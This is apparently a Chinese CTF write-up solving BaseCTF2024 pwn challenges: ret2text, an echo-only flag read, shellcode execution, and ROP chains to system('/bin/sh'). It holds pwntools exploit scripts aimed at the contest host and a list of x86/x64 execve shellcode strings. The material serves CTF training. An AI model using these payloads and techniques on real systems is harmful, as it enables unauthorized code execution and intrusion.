背景
整理了一下之前做BaseCTF2024的题目,个人认为题目出得很有意思
分享一下自己的思路。
复现平台如有侵权,请联系删除
签个到吧
本题没有提供附件,根据提示我们使用nc连接靶机。
尝试ls命令(没有过滤)查看当前目录文件,接下来cat拿下flag。

Ret2text
这里我们下载附件,IDA逆向获得伪C代码(这里我们最好有自己的排查思路,像这里其实需要看一下保护(这里因为有点基础,就省略了))。
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
read(0, buf, 0x100uLL);
return 0;
}
通常,直接看buf[32]就确定栈大小。Tips:有可能错误,这时需要本地调试校对。
这里查看符号表,发现后门函数,table看一下函数地址(也可以从符号表里看)或者直接从system("/bin/sh")地址入手


(符号表起始地址)

同时,我们点击buf进入栈,填充0x20后需要再覆盖rbp寄存器(8字节)

注意,最重要的一点,我们查看elf文件属性发现是x86-64位,其实就是x64的elf调用system函数会检查栈顶rsp是否16字节对齐(意味着栈顶rsp最后一位需要为0,否则会报段错误)
$ file Ret2text
Ret2text: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b3e7f8cd3bdf6ad424a1976f498923ceccd8eebc, for GNU/Linux 3.2.0, not stripped
由于后门函数进入需要push rbp显然最后一位为8因此我们需要使用ret命令弹出rsp使得栈对齐

这里我们放上exp
from pwn import *
p = remote("gz.imxbt.cn",20181)
payload = b"a"*0x20 + b"b"*8 +p64(0x04011D1) + p64(0x4011A4)
p.sendline(payload)
p.interactive()
或者我们直接绕过push rbp直接执行system函数

from pwn import *
p = remote("gz.imxbt.cn",20181)
payload = b"a"*0x20 + b"b"*8 +p64(0x4011BB)
p.sendline(payload)
p.interactive()
echo
题目提示bash目录下只有echo文件,意味着不能执行ls等命令。
这个使用我们第一个思路是去查找echo的用法看看有没有什么特殊的参数可以达到预期结果,发现没有
第二个思路报错输出,原理->bash命令输入文件名可能被bash解释器当作命令或elf或可执行文件从而报错输出内容

AI给出的解释,这不是在运行一个程序,而是在运行一个文本文件,它里面的内容被当成了命令,系统找不到这个命令才报错
第三个思路参考别人的wp,重定向
echo `< /flag`
或
a=$(< /flag) ;a=命令,之间不能空格
echo $a
或者
echo "${a}"
或者
$a ;连echo都不用
shellcode_level0
补充一下
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
- addr:建议的映射起始地址(通常设为 NULL,由内核自动选择)
- length:映射区域的长度(必须是页大小(4 KB)的整数倍,如 4096 字节)
- prot:映射区的内存保护模式选项(用|链接)
- PROT_READ:映射区可读
- PROT_WRITE:映射区可写
- PROT_EXEC:映射区可执行
- 注意:映射权限必须 <= 文件打开权限
- flags:映射类型(如 MAP_SHARED 或 MAP_PRIVATE)
- MAP_PRIVATE:创建⼀个私有映射。对映射区域的修改不会反映到底层文件中。(即:修改仅对当前进程有效(写时复制,类似 fork)
- MAP_SHARED:创建⼀个共享映射。对映射区域的修改会反映到底层文件中(即:修改会同步到文件,其他进程可见)
- MAP_ANONYMOUS:指定要创建⼀个匿名内存映射
- fd:文件描述符(匿名映射时设为 -1)
- offset 文件偏移量(开始映射的位置相较于0位置处的偏移)(必须是页大小的整数倍)
返回值- 成功:返回映射区的起始地址(虚拟地址)
- 失败:返回(void*) -1 或者 MAP_FAILED(等效的)
| 权限宏 | 含义 |
|---|---|
PROT_READ |
可读 |
PROT_WRITE |
可写 |
PROT_EXEC |
可执行 |
PROT_NONE |
无权限 |
这里我们主要看mmap申请的权限(其实上面只有权限一行对做题有用)
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
// 7 = 1 + 2 + 4 可读可写可执行
| prot数值 | 二进制 | 对应权限组合 | 含义 |
|---|---|---|---|
0x0 |
000 |
无权限 | 不能访问 |
0x1 |
001 |
PROT_READ |
可读 |
0x2 |
010 |
PROT_WRITE |
可写 |
0x3 |
011 |
`PROT_READ | PROT_WRITE` |
0x4 |
100 |
PROT_EXEC |
可执行 |
0x5 |
101 |
`PROT_READ | PROT_EXEC` |
0x6 |
110 |
`PROT_WRITE | PROT_EXEC` |
0x7 |
111 |
`PROT_READ | PROT_WRITE |
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]
init(argc, argv, envp);
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap");
exit(1);
}
printf("please input shellcode: ");
read(0, buf, 0x100uLL);
((void (*)(void))buf)();
return 0;
}
read函数后执行buf()函数
因此直接对buf写入shellcode指令(针对32位 64位进行收集)即可
from pwn import *
p = remote("gz.imxbt.cn",20190)
payload = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p.sendlineafter(b"shellcode: ",payload)
p.interactive()
以下是我收集的shellcode可以给大家作为参考
不可见版本
x32 -> 21 字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
x64 -> 23 字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
可见版本
x32 :
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
x64 :
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
pwntools生成
asm(shellcraft.sh()) 44位,根据版本生成
彻底失去她
这题的主函数,符号表存在system函数但是没有/bin/sh需要拼接
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
init();
puts("Thank you for helping me find her.");
puts("But she has left me for good this time, what should I do?");
puts("By the way, I still don't know your name, could you tell me your name?");
read(0, buf, 0x100uLL);
return 0;
}
这里我们有两种思路
1通过read函数写入bss段(为什么是bss段,因为bss段通常可写可读)
2泄露libc地址构造ROP链(这里想要放到下一章,这里不做演示)

可以推断出read函数和三个寄存器有关rdi,rsi,edx(rdx)有关,
通过ROPgadget工具得到相关片段

查找bss段,我们通常选择黄色地址的bss段


这题挺有意思的,准备单独开一篇。
附上我的exp,
from pwn import *
#p=process('./彻底失去她')
p=remote("gz.imxbt.cn",20235)
elf=ELF('./彻底失去她')
system=0x4011A5#或者elf.plt['system']
read=elf.sym['read'] #双击call _read也同样可以获得plt 等价于read_p=elf.plt["read"] 有人想过#read = 0x401259可以吗
ret = 0x0401264
rdi_ret=0x401196
rsi_ret=0x4011ad
rdx_ret=0x401265
bss= 0x04040A0
print("system---------->",hex(system))
print("read------------>",hex(read))
payload=b'a'*(0xa) + b"b"*8
payload+=p64(rdi_ret)+p64(0)
payload+=p64(rsi_ret)+p64(bss)
payload+=p64(rdx_ret)+p64(0x8)
payload+=p64(read) #等价于read(0,bss,0x8)
payload+=p64(rdi_ret)+p64(bss)+p64(ret)+p64(system)
#gdb.attach(p)
p.sendlineafter(b"name?",payload)
p.sendline(b'/bin/sh\x00')
#gdb.attach(p)
p.interactive()
我把她丢了
这题很寻常,栈溢出+拼接system和/bin/sh(并且题目都给了)
// 栈溢出部分
ssize_t vuln()
{
_BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF
puts("I lost her, what should I do? Help me find her.");
return read(0, buf, 0x150uLL);
}
// system函数位置
int shell()
{
return system("echo I beleve you.");
}
// /bin/sh位置 IDA工具
.rodata:0000000000402008 aBinSh db '/bin/sh',0 ; DATA XREF: .data:hidden_str↓o
使用ROPgadget找一下rdi_ret
0x000000000040117d : pop rbp ; ret
0x0000000000401196 : pop rdi ; ret
0x000000000040101a : ret
exp代码
from pwn import *
p = remote("gz.imxbt.cn",20236)
bin_add = 0x402008
rdi_ret = 0x0401196
sys = 0x40120F
payload = b"a"*0x70 + b"b"*8 +p64(rdi_ret)+ p64(bin_add) + p64(sys) #是否有疑问这里为什么不加p64(ret),通常我们编写脚本的时候先考虑栈已经对齐,因为进入调试模式查看太过麻烦,打不通再加上p64(ret)
p.sendlineafter(b"find her.",payload)
p.interactive()
如果大家对于上面的有不同看法,可以发表评论一起讨论一下。
在下水平不足,如有错误。尽管批评指正。
参考->
BaseCTF2024官方题解
2024BaseCTF-week1wp
BASECTF WEEK1-WP
Linux mmap文件内存映射
浙公网安备 33010602011771号